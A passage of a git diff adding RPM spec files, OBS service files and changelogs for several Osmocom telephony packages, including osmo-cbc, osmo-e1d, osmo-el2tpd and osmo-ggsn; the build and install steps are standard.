+autoreconf -fi
+%configure \
+ --docdir="%{_docdir}/%{name}" \
+ --with-systemdsystemunitdir=%{_unitdir} \
+ --enable-trx
+make V=1 %{?_smp_mflags}
+
+%install
+%make_install
+
+%pre %service_add_pre osmo-bts-trx.service
+%post %service_add_post osmo-bts-trx.service
+%preun %service_del_preun osmo-bts-trx.service
+%postun %service_del_postun osmo-bts-trx.service
+%pre virtual %service_add_pre osmo-bts-virtual.service
+%post virtual %service_add_post osmo-bts-virtual.service
+%preun virtual %service_del_preun osmo-bts-virtual.service
+%postun virtual %service_del_postun osmo-bts-virtual.service
+
+%check
+make %{?_smp_mflags} check || (find . -name testsuite.log -exec cat {} +)
+
+%files
+%license COPYING
+%doc README.md
+%dir %{_docdir}/%{name}
+%dir %{_docdir}/%{name}/examples
+%dir %{_docdir}/%{name}/examples/osmo-bts-trx
+%{_docdir}/%{name}/examples/osmo-bts-trx/osmo-bts-trx-calypso.cfg
+%{_docdir}/%{name}/examples/osmo-bts-trx/osmo-bts-trx.cfg
+%dir %{_docdir}/%{name}/examples/osmo-bts-virtual
+%{_docdir}/%{name}/examples/osmo-bts-virtual/openbsc-virtual.cfg
+%{_docdir}/%{name}/examples/osmo-bts-virtual/osmo-bts-virtual.cfg
+%{_bindir}/osmo-bts-trx
+%dir %{_sysconfdir}/osmocom
+%config %{_sysconfdir}/osmocom/osmo-bts-trx.cfg
+%{_unitdir}/osmo-bts-trx.service
+
+%files -n osmo-bts-virtual
+%{_bindir}/osmo-bts-virtual
+%dir %{_sysconfdir}/osmocom
+%config %{_sysconfdir}/osmocom/osmo-bts-virtual.cfg
+%{_unitdir}/osmo-bts-virtual.service
+
+%files -n osmo-bts-omldummy
+%{_bindir}/osmo-bts-omldummy
+
+%changelog
diff --git a/rpm-local/spec/osmo-cbc/_service b/rpm-local/spec/osmo-cbc/_service
new file mode 100644
index 0000000..12cca10
--- /dev/null
+++ b/rpm-local/spec/osmo-cbc/_service
@@ -0,0 +1,14 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmo-cbc</param>
+ <param name="filename">osmo-cbc</param>
+ <param name="versionformat">0.0.0+git.%cd</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/osmo-cbc/_servicedata b/rpm-local/spec/osmo-cbc/_servicedata
new file mode 100644
index 0000000..9f8451c
--- /dev/null
+++ b/rpm-local/spec/osmo-cbc/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmo-cbc</param>
+ <param name="changesrevision">00efdee6ba92097a39798aa0f0a7ad255d9d04ca</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmo-cbc/osmo-cbc.changes b/rpm-local/spec/osmo-cbc/osmo-cbc.changes
new file mode 100644
index 0000000..32a101b
--- /dev/null
+++ b/rpm-local/spec/osmo-cbc/osmo-cbc.changes
@@ -0,0 +1,43 @@
+-------------------------------------------------------------------
+Wed Dec 04 21:04:47 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20191204:
+ * jenkins.sh: disable 'publish' of manuals; we don't have any yet
+ * exit(2) on unsupported positional arguments on command line
+ * jenkins.sh: We cannot build libosmo-netif without libosmo-abis
+
+-------------------------------------------------------------------
+Mon Sep 09 20:03:32 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20190805:
+ * use cbsp_category rather than cbc_message_prio
+ * log REST API HTTP port on startup
+ * fix smscb_message array order
+ * add cbc_peer_proto_name value_string
+ * track libulfius memory allocations using talloc
+ * cbsp_server: move llist_add() up a bit to ensure llist_del() works in error paths
+ * add minimalistic VTY
+ * CBSP Server improvements
+ * Add some basic functions operating on cbc_data structures
+
+-------------------------------------------------------------------
+Sat Jul 20 20:27:47 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Update to version 0.0.0+git.20190720:
+ * Fix 'make distclean' for tests directory
+ * Makefile.am: Add 'contrib' to SUBDIRS
+ * add missing doc/examples/osmo-cbc.cfg
+ * Makefile.am: Remove non-existant osmoappdesc.py
+ * fix 'make dist': Include header files
+ * introduce cbc_data.h with core data model of CBC
+ * cbsp_server: Allow for bind to non-standard port + bind to IP
+ * WIP on JSON Schema for the REST interface
+ * Add initial version of REST API
+ * WIP: add basic character set conversion routines
+ * osmo_cbsp_recv_buffered() is now part of libosmocore
+ * update CBSP API to current libosmocore
+
+-------------------------------------------------------------------
+Thu Jul 18 20:59:02 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Initial package, version XXX
diff --git a/rpm-local/spec/osmo-cbc/osmo-cbc.spec b/rpm-local/spec/osmo-cbc/osmo-cbc.spec
new file mode 100644
index 0000000..5e9684a
--- /dev/null
+++ b/rpm-local/spec/osmo-cbc/osmo-cbc.spec
@@ -0,0 +1,75 @@
+#
+# spec file for package osmo-cbc
+#
+# Copyright (c) 2019, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+Name: osmo-cbc
+Version: 0.0.0+git.20191204
+Release: 0
+Summary: Osmocom Cell Broadcast Centre
+License: AGPL-3.0-or-later
+Group: Productivity/Telephony/Utilities
+URL: https://osmocom.org/projects/osmo-cbc/wiki
+Source: %{name}-%{version}.tar.xz
+BuildRequires: autoconf
+BuildRequires: automake
+BuildRequires: libtool
+BuildRequires: pkgconfig >= 0.20
+BuildRequires: pkgconfig(libosmo-netif) >= 0.4.0
+BuildRequires: pkgconfig(libosmocore) >= 1.0.0
+BuildRequires: pkgconfig(libosmogsm) >= 1.0.0
+BuildRequires: pkgconfig(libosmovty) >= 1.0.0
+BuildRequires: pkgconfig(libulfius)
+BuildRequires: pkgconfig(systemd)
+
+%description
+Osmocom Cell Broadcast Centre.
+XXX TODO XXX
+XXX TODO XXX
+XXX TODO XXX
+XXX TODO XXX
+
+%prep
+%setup -q
+
+%build
+echo "%{version}" >.tarball-version
+autoreconf -fiv
+%configure
+make %{?_smp_mflags}
+
+%install
+%make_install
+
+%check
+make %{?_smp_mflags} check || (find . -name testsuite.log -exec cat {} +)
+
+%preun
+%service_del_preun %{name}.service
+
+%postun
+%service_del_postun %{name}.service
+
+%pre
+%service_add_pre %{name}.service
+
+%post
+%service_add_post %{name}.service
+
+%files
+%{_bindir}/osmo-cbc
+%{_unitdir}/osmo-cbc.service
+
+%changelog
diff --git a/rpm-local/spec/osmo-e1-recorder/_service b/rpm-local/spec/osmo-e1-recorder/_service
new file mode 100644
index 0000000..63deadb
--- /dev/null
+++ b/rpm-local/spec/osmo-e1-recorder/_service
@@ -0,0 +1,13 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmo-e1-recorder</param>
+ <param name="versionformat">0.0.0+git.%cd</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/osmo-e1-recorder/_servicedata b/rpm-local/spec/osmo-e1-recorder/_servicedata
new file mode 100644
index 0000000..3f6f6a2
--- /dev/null
+++ b/rpm-local/spec/osmo-e1-recorder/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmo-e1-recorder</param>
+ <param name="changesrevision">8486938efb80b94cdf723056c8769627380881f6</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmo-e1-recorder/osmo-e1-recorder.changes b/rpm-local/spec/osmo-e1-recorder/osmo-e1-recorder.changes
new file mode 100644
index 0000000..2fa6bb4
--- /dev/null
+++ b/rpm-local/spec/osmo-e1-recorder/osmo-e1-recorder.changes
@@ -0,0 +1,43 @@
+-------------------------------------------------------------------
+Sun Jan 12 21:19:26 UTC 2020 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20191204:
+ * e1_recorder: Skip storing data to disk if line is in ALARM state
+
+-------------------------------------------------------------------
+Wed Dec 04 21:04:57 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20191204:
+ * e1cap_dump: Avoid deprecated osmo_init_logging() API
+ * e1_recorder: Avoid deprecated osmo_init_logging() API
+ * jenkins.sh: disable 'publish' of manuals; we don't have any yet
+ * e1cap_dump: Add -h and -V to print help / version of program
+ * e1_recorder: Add --help and --version command line arguments
+ * print error message when config file cannot be opened
+ * exit(2) on unsupported positional arguments on command line
+ * vty: Make sure to save timeslot mode in lowercase (as vty expects)
+ * tests: Add test_nodes.vty for VTY interface testing
+ * vty: don't store configurations for timeslots in mode NONE
+
+-------------------------------------------------------------------
+Wed Nov 27 21:13:35 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20191124:
+ * e1cap_dump: fix superchannel without pcap output
+
+-------------------------------------------------------------------
+Sun Nov 24 21:04:39 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Update to version 0.0.0+git.20191124:
+ * add contrib/jenkins.sh
+ * update .gitignore
+ * convert build system to autotools
+ * fix various compiler warnings
+ * storage.c: Fix compiler error due to missing writev() declaration
+- Remove patch:
+ * osmo-e1-recorder-fix-makefile.patch (fixed by upstream)
+
+-------------------------------------------------------------------
+Tue Apr 10 18:09:02 UTC 2018 - mardnh@gmx.de
+
+- Initial package, version 0.0.0+git.20161114
diff --git a/rpm-local/spec/osmo-e1-recorder/osmo-e1-recorder.spec b/rpm-local/spec/osmo-e1-recorder/osmo-e1-recorder.spec
new file mode 100644
index 0000000..00389b9
--- /dev/null
+++ b/rpm-local/spec/osmo-e1-recorder/osmo-e1-recorder.spec
@@ -0,0 +1,71 @@
+#
+# spec file for package osmo-e1-recorder
+#
+# Copyright (c) 2018, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+Name: osmo-e1-recorder
+Version: 0.0.0+git.20191204
+Release: 0
+Summary: Osmocom E1/T1 span recorder
+License: GPL-2.0-or-later
+Group: Productivity/Telephony/Utilities
+URL: https://git.osmocom.org/osmo-e1-recorder
+Source: %{name}-%{version}.tar.xz
+BuildRequires: autoconf
+BuildRequires: autoconf-archive
+BuildRequires: automake
+BuildRequires: libtool
+BuildRequires: pkgconfig
+BuildRequires: pkgconfig(libosmoabis)
+BuildRequires: pkgconfig(libosmocore)
+BuildRequires: pkgconfig(libosmogsm)
+BuildRequires: pkgconfig(libosmovty)
+BuildRequires: pkgconfig(talloc)
+
+%description
+The idea of this program is to be able to passively record E1/T1 based
+communications for purposes of data analysis.
+
+Recording of a single E1 link always requires two E1 interface cards,
+one for each direction.
+
+%prep
+%setup -q
+
+%build
+echo "%{version}" >.tarball-version
+autoreconf -fi
+%configure \
+ --docdir=%{_docdir}/%{name}
+make %{?_smp_mflags}
+
+%install
+%make_install
+
+%check
+make %{?_smp_mflags} check
+
+%files
+%doc README
+%{_docdir}/osmo-e1-recorder/examples/osmo-e1-recorder.cfg
+%dir %{_docdir}/%{name}/examples
+%{_docdir}/%{name}/examples/osmo-e1-recorder.cfg
+%dir %{_sysconfdir}/osmocom
+%config %{_sysconfdir}/osmocom/osmo-e1-recorder.cfg
+%{_bindir}//hdlc-test
+%{_bindir}/osmo-e1-recorder
+%{_bindir}/osmo-e1cap-dump
+
+%changelog
diff --git a/rpm-local/spec/osmo-e1d/_service b/rpm-local/spec/osmo-e1d/_service
new file mode 100644
index 0000000..2a33cb7
--- /dev/null
+++ b/rpm-local/spec/osmo-e1d/_service
@@ -0,0 +1,14 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmo-e1d</param>
+ <param name="filename">osmo-e1d</param>
+ <param name="versionformat">0.0.0+git.%cd</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/osmo-e1d/_servicedata b/rpm-local/spec/osmo-e1d/_servicedata
new file mode 100644
index 0000000..28ae642
--- /dev/null
+++ b/rpm-local/spec/osmo-e1d/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmo-e1d</param>
+ <param name="changesrevision">785476901c0d78960e7bcd82fcc2c5535fadd70c</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmo-e1d/osmo-e1d.changes b/rpm-local/spec/osmo-e1d/osmo-e1d.changes
new file mode 100644
index 0000000..1be6dcc
--- /dev/null
+++ b/rpm-local/spec/osmo-e1d/osmo-e1d.changes
@@ -0,0 +1,13 @@
+-------------------------------------------------------------------
+Wed Jul 10 20:19:26 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20190710:
+ * build: Disable some warnings that are just annoying for no reasons
+ * usb: Temporarily mark e1uf_destroy as 'unused'
+ * proto: Fix aliasing error when setting the FD in the CMSG data
+ * contrib/jenkins.sh: run "make maintainer-clean"
+
+-------------------------------------------------------------------
+Thu May 16 19:49:15 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Initial package, version 0.0.0+git.20190511
diff --git a/rpm-local/spec/osmo-e1d/osmo-e1d.spec b/rpm-local/spec/osmo-e1d/osmo-e1d.spec
new file mode 100644
index 0000000..2a0f2df
--- /dev/null
+++ b/rpm-local/spec/osmo-e1d/osmo-e1d.spec
@@ -0,0 +1,90 @@
+#
+# spec file for package osmo-e1d
+#
+# Copyright (c) 2019, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+%define sover 0
+Name: osmo-e1d
+Version: 0.0.0+git.20190710
+Release: 0
+Summary: Osmocom E1 Daemon
+License: GPL-2.0-or-later
+Group: Productivity/Telephony/Utilities
+URL: https://osmocom.org/projects/e1-t1-adapter/wiki/Osmo-e1d
+Source: %{name}-%{version}.tar.xz
+BuildRequires: autoconf
+BuildRequires: automake
+BuildRequires: libtool
+BuildRequires: pkgconfig
+BuildRequires: pkgconfig(libosmocore) >= 1.0.1.120
+BuildRequires: pkgconfig(libusb-1.0) >= 1.0.21
+BuildRequires: pkgconfig(talloc) >= 2.0.1
+
+%description
+Osmocom E1 Daemon.
+
+%package -n libosmo-e1d%{sover}
+Summary: Osmocom E1 Daemon Protocol Library
+License: LGPL-3.0-or-later
+Group: System/Libraries
+
+%description -n libosmo-e1d%{sover}
+Osmocom E1 Daemon Protocol Library.
+
+%package -n libosmo-e1d-devel
+Summary: Development files for the Osmocom E1 Daemon Protocol Library
+License: LGPL-3.0-or-later
+Group: Development/Libraries/C and C++
+Requires: libosmo-e1d%{sover} = %{version}
+
+%description -n libosmo-e1d-devel
+Osmocom E1 Daemon Protocol Library.
+
+This subpackage contains libraries and header files for developing
+applications that want to make use of libosmo-e1d.
+
+%prep
+%setup -q
+
+%build
+echo "%{version}" >.tarball-version
+autoreconf -fiv
+%configure -enable-shared --disable-static
+make %{?_smp_mflags}
+
+%install
+%make_install
+find %{buildroot} -type f -name "*.la" -delete -print
+
+%check
+make %{?_smp_mflags} check || (find . -name testsuite.log -exec cat {} +)
+
+%post -n libosmo-e1d%{sover} -p /sbin/ldconfig
+%postun -n libosmo-e1d%{sover} -p /sbin/ldconfig
+
+%files
+%license COPYING COPYING.gpl2 COPYING.lgpl3
+%{_bindir}/osmo-e1d
+
+%files -n libosmo-e1d%{sover}
+%{_libdir}/libosmo-e1d.so.%{sover}*
+
+%files -n libosmo-e1d-devel
+%dir %{_includedir}/osmocom/
+%{_includedir}/osmocom/e1d/
+%{_libdir}/libosmo-e1d.so
+%{_libdir}/pkgconfig/libosmo-e1d.pc
+
+%changelog
diff --git a/rpm-local/spec/osmo-el2tpd/_service b/rpm-local/spec/osmo-el2tpd/_service
new file mode 100644
index 0000000..decf723
--- /dev/null
+++ b/rpm-local/spec/osmo-el2tpd/_service
@@ -0,0 +1,14 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmo-el2tpd</param>
+ <param name="filename">osmo-el2tpd</param>
+ <param name="versionformat">0.0.0+git.%cd</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/osmo-el2tpd/_servicedata b/rpm-local/spec/osmo-el2tpd/_servicedata
new file mode 100644
index 0000000..deeefa4
--- /dev/null
+++ b/rpm-local/spec/osmo-el2tpd/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmo-el2tpd</param>
+ <param name="changesrevision">1cdac78eb0e35c1dd23b7e582bed2a41d663aeb3</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmo-el2tpd/osmo-el2tpd.changes b/rpm-local/spec/osmo-el2tpd/osmo-el2tpd.changes
new file mode 100644
index 0000000..933b381
--- /dev/null
+++ b/rpm-local/spec/osmo-el2tpd/osmo-el2tpd.changes
@@ -0,0 +1,4 @@
+-------------------------------------------------------------------
+Sun May 03 20:14:03 UTC 2020 - mardnh@gmx.de
+
+- Initial package, version 0.0.0+git.20200503
diff --git a/rpm-local/spec/osmo-el2tpd/osmo-el2tpd.spec b/rpm-local/spec/osmo-el2tpd/osmo-el2tpd.spec
new file mode 100644
index 0000000..f40eaff
--- /dev/null
+++ b/rpm-local/spec/osmo-el2tpd/osmo-el2tpd.spec
@@ -0,0 +1,79 @@
+#
+# spec file for package osmo-el2tpd
+#
+# Copyright (c) 2020, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+Name: osmo-el2tpd
+Version: 0.0.0+git.20200503
+Release: 0
+Summary: Osmocom L2TP daemon compatible with Ericsson L2TP dialect (SIU)
+License: GPL-2.0-or-later
+Group: Productivity/Telephony/Utilities
+URL: http://cgit.osmocom.org/osmo-el2tpd/
+Source: %{name}-%{version}.tar.xz
+BuildRequires: autoconf
+BuildRequires: autoconf-archive
+BuildRequires: automake
+BuildRequires: libtool
+BuildRequires: pkgconfig(libosmocore) >= 1.0.0
+BuildRequires: pkgconfig(libcrypto)
+##BuildRequires: systemd-rpm-macros
+
+%description
+Osmocom L2TP daemon compatible with Ericsson L2TP dialect (SIU).
+
+%prep
+%setup -q
+
+%build
+echo "%{version}" >.tarball-version
+autoreconf -fiv
+%configure \
+ --docdir="%{_docdir}/%{name}" \
+ --with-systemdsystemunitdir=%{_unitdir}
+make %{?_smp_mflags}
+
+%install
+%make_install
+
+%check
+### FIXME - no checks atm
+#make %{?_smp_mflags} check || (find . -name testsuite.log -exec cat {} +)
+
+### FIXME - no service file atm
+#%%preun
+#%%service_del_preun %{name}.service
+#%
+#%%postun
+#%%service_del_postun %{name}.service
+#%
+#%%pre
+#%%service_add_pre %{name}.service
+#%
+#%%post
+#%%service_add_post %{name}.service
+
+%files
+%license COPYING
+%doc README.md
+#%dir %{_docdir}/%{name}
+#%dir %{_docdir}/%{name}/examples
+#%{_docdir}/%{name}/examples/osmo-uecups-daemon.cfg
+%{_sbindir}/osmo-el2tpd
+#%dir %{_sysconfdir}/osmocom
+#%config %{_sysconfdir}/osmocom/osmo-uecups-daemon.cfg
+##%%{_unitdir}/osmo-uecups.service
+
+%changelog
diff --git a/rpm-local/spec/osmo-ggsn/_service b/rpm-local/spec/osmo-ggsn/_service
new file mode 100644
index 0000000..136e16a
--- /dev/null
+++ b/rpm-local/spec/osmo-ggsn/_service
@@ -0,0 +1,13 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmo-ggsn</param>
+ <param name="versionformat">@PARENT_TAG@.@TAG_OFFSET@</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/osmo-ggsn/_servicedata b/rpm-local/spec/osmo-ggsn/_servicedata
new file mode 100644
index 0000000..4b1c9db
--- /dev/null
+++ b/rpm-local/spec/osmo-ggsn/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmo-ggsn</param>
+ <param name="changesrevision">db98f309a9e26b3bb531efb0b92bafad7b5ddff7</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmo-ggsn/osmo-ggsn.changes b/rpm-local/spec/osmo-ggsn/osmo-ggsn.changes
new file mode 100644
index 0000000..79dbe0d
--- /dev/null
+++ b/rpm-local/spec/osmo-ggsn/osmo-ggsn.changes
@@ -0,0 +1,558 @@
+-------------------------------------------------------------------
+Tue Apr 28 20:01:44 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.5.0.30:
+ * sgsnemu: use real tun device name after the device is up.
+
+-------------------------------------------------------------------
+Wed Apr 22 20:01:45 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.5.0.29:
+ * sgsnemu: Fix assumption ipv6 Interface-Identifier of public addr == announced Prefix
+ * sgsnemu: Implement ping on IPv6 APNs
+
+-------------------------------------------------------------------
+Tue Apr 21 20:01:42 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.5.0.27:
+ * sgsnemu: Handle IPv6 SLAAC in tun iface manually
+
+-------------------------------------------------------------------
+Sun Apr 19 20:01:40 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.5.0.26:
+ * sgsnemu: Fix build/run against linux < 4.11 (no sysctl addr_gen_mode support)
+ * Rename netdev_*route to end in route4
+ * icmpv6.c: Move code generating ipv6 hdr to its own function
+ * sgsnemu: tun_addaddr: Don't set local addr as dstaddr
+
+-------------------------------------------------------------------
+Fri Apr 17 20:01:36 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.5.0.22:
+ * sgsnemu: Get rid of duplicated options.net
+ * sgsnemu: Get rid of duplicated options.destaddr
+ * icmpv6.c: Mark internal function as static
+ * cosmetic: icmpv6.c: fix typo in comment
+ * sgsnemu: Fix ping transmitted statistics output
+ * sgsnemu: Avoid adding extra autogenerated local link ipv6 addr to tun iface
+
+-------------------------------------------------------------------
+Tue Apr 14 20:01:45 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.5.0.16:
+ * doc: use 127.0.0.2 instead of 127.0.0.6 as bind ip.
+ * lib/netns: Fix up error paths
+ * netdev_addaddr6: Use prefixlen arg
+ * lib/netns: OSMO_ASSERT() if user doesn't call init_netns()
+ * lib/netns.c: Add comments to the code, including doxygen API docs
+ * Move icmpv6 and checksum files from ggsn/ dir to lib/
+ * sgsnemu: Set its default loglevel category to INFO
+ * sgsnemu: Rename sgsnemu's libgtp cb_conf
+ * sgsnemu: Pass array of in64_addr to in46a_from_eua()
+ * configure.ac: fix libtool issue with clang and sanitizer
+
+-------------------------------------------------------------------
+Thu Apr 09 20:01:35 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.5.0.6:
+ * sgsnemu: cmdline: Drop unused function cmdline_parser_params_create()
+
+-------------------------------------------------------------------
+Wed Apr 01 20:01:45 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.5.0.5:
+ * doc: do not use random ip address for dns in default conf
+
+-------------------------------------------------------------------
+Tue Mar 03 21:01:20 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.5.0.4:
+ * lib/netns: fix open_ns(): return fd from open()
+
+-------------------------------------------------------------------
+Mon Mar 02 21:01:17 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.5.0.3:
+ * netns: Improve error checking
+ * add Linux network namespace support for TUN device
+
+-------------------------------------------------------------------
+Wed Feb 26 21:01:46 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.5.0.1:
+ * cosmetic: Fix comment typo
+
+-------------------------------------------------------------------
+Fri Jan 03 21:03:27 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.5.0.0:
+ * Bump version: 1.4.0.32-bd8f-dirty → 1.5.0
+
+-------------------------------------------------------------------
+Fri Dec 06 21:04:27 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.32:
+ * contrib/systemd: add systemd-networkd examples from manuals
+ * manuals/configuration.adoc: fix IPv4 address mismatch in <<ggsn_no_root>>
+ * manuals/configuration.adoc: fix Network Address without prefix length
+
+-------------------------------------------------------------------
+Sun Dec 01 21:02:40 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.29:
+ * manual: Fix copy+paste error
+ * sgsnemu: Fix null-pointer format string argument
+
+-------------------------------------------------------------------
+Thu Sep 05 20:01:28 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.27:
+ * ggsn, sgsnemu: Drop use of no-op deprecated gtp_retrans* APIs
+ * gtp: Manage queue timers internally
+
+-------------------------------------------------------------------
+Mon Sep 02 20:02:41 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.25:
+ * gtp/gtp.c: cosmetic: use get_tid() where we need TID
+ * gtp_error_ind_conf(): fix: guard against an unknown GTP version
+ * gtp_update_pdp_ind(): fix NULL-pointer dereference
+
+-------------------------------------------------------------------
+Fri Aug 30 20:07:46 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.22:
+ * ggsn: rx DeletePdpReq confirmation: Improve documentation and use gtp_freepdp()
+ * cosmetic: gtp: Improve documentation of gtp_delete_context_req2()
+ * cosmetic: gtp: Drop commented out code calling pdp_freepdp()
+
+-------------------------------------------------------------------
+Thu Aug 29 20:01:52 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.19:
+ * gtp: Log msg retransmits and timeouts
+ * cosmetic: fix formatting in if line
+ * ggsn: Implement echo req/resp and recovery
+ * libgtp: Introduce cb_recovery3
+ * doc: Update vty reference xml file
+ * ggsn_vty.c: Improve output of VTY show pdp-context
+ * pdp: constify param in pdp_count_secondary()
+ * ggsn_vty.c: Avoid printing duplicates for pdp context with v4v6 EUAs
+ * Introduce LOGTUN log helper
+ * gtp-kernel.c: Fix wrong use of in46a_from_eua, print IPv6 euas
+ * Move pdp_get_peer_ipv() to lib/util.*
+ * ggsn: Split application lifecycle related code into ggsn_main.c
+ * ggsn_vty.c: Fix wrong use of in46a_from_eua, print IPv6 euas
+ * in46_addr: Improve in46a_ntop documentation
+ * ggsn: Move PCO handling code into its own file
+ * Introduce in46a_is_v{4,6}() helpers
+
+-------------------------------------------------------------------
+Tue Aug 27 20:02:09 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.3:
+ * libgtp: announce pdp ctx deletion upon CreatePdpCtx being rejected
+ * libgtp: Remove packets in tx queue belonging pdp being freed
+
+-------------------------------------------------------------------
+Tue Aug 20 20:02:23 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.1:
+ * build: switch AC_CANONICAL_TARGET for AC_CANONICAL_HOST
+
+-------------------------------------------------------------------
+Thu Aug 08 21:55:21 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.4.0.0:
+ * Bump version: 1.3.0.50-ea1c-dirty → 1.4.0
+ * Require libosmocore 1.1.0
+ * Remove undefined param passed to {logging,osmo_stats}_vty_add_cmds
+ * sgsnemu: Fix unaligned pointer access during ip/icmp checksum
+
+-------------------------------------------------------------------
+Mon Jul 22 10:33:30 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Disable LTO for now since it breaks compilation of the tests
+ See: https://osmocom.org/issues/4114
+
+-------------------------------------------------------------------
+Sun Jul 21 20:01:56 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.47:
+ * sgsnemu: Fix format string argument count
+
+-------------------------------------------------------------------
+Thu Jul 11 20:07:47 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.3.0.46:
+ * contrib/jenkins.sh: run "make maintainer-clean"
+
+-------------------------------------------------------------------
